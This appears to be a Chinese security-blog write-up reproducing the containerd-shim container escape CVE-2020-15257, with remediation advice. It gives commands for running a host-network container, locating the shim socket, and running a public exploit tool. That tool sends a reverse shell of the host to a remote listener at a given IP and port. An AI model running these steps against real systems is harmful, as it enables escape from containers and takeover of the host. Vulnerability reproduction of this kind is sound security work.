menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Docker 容器逃逸漏洞 (CVE-2020-15257)复现 chevron_right Docker 容器逃逸漏洞 (CVE-2020-15257)复现.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Docker 容器逃逸漏洞 (CVE-2020-15257)复现.md
    1.91 KB / 2021-07-15 19:50:56
        # Docker 容器逃逸漏洞 (CVE-2020-15257)复现
    
    ## 漏洞概述
    
    `containerd`是行业标准的容器运行时,可作为`Linux`和`Windows`的守护程序使用。在版本`1.3.9`和`1.4.3`之前的容器中,容器填充的`API`不正确地暴露给主机网络容器。填充程序的`API`套接字的访问控制验证了连接过程的有效`UID`为0,但没有以其他方式限制对抽象`Unix`域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效`UID`为0,但特权降低)导致新进程以提升的特权运行。
    
    ## 影响版本
    
    	containerd < 1.4.3
    	containerd < 1.3.9
    
    ## 环境搭建
    
    安装有漏洞的`containerd`版本
    
    这里我使用的版本是`1.2.10`
    
    ![640](./resource/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/media/640.png)
    
    ## 漏洞复现
    
    通过`--net=host` 作为启动参数来运行一个容器:
    
    ```shell
    docker run -it --net=host ubuntu:18.04 /bin/bash
    ```
    
    接着在容器内执行
    
    ```shell
    cat /proc/net/unix|grep -a "containerd-shim"
    ```
    
    可看到抽象命名空间`Unix`域套接字
    
    ![641](./resource/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/media/641.png)
    
    Poc地址
    
    > https://github.com/Xyntax/CDK/releases/tag/0.1.6
    
    这里为了方便行事,我们下载解压直接把`cdk_linux_amd64`文件拷贝到容器里
    
    ```shell
    docker cp cdk_linux_amd64 b7bd2b523d72:/tmp
    ```
    
    ![642](./resource/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/media/642.png)
    
    ![643](./resource/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/media/643.png)
    
    在容器中执行`exp`,自动搜索可用的`socket`并反弹宿主机的`shell`到远端服务器,完成逃逸
    
    ```shell
    ./cdk_linux_amd64 run shim-pwn 192.168.1.102 6666
    ```
    
    ![644](./resource/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/media/644.png)
    
    ## 修复建议
    
    升级  `containerd` 至最新版本。
    
    ## 参考
    
    > https://mp.weixin.qq.com/s/ieY90noArcObNgxyV2-sGA
    
    links
    file_download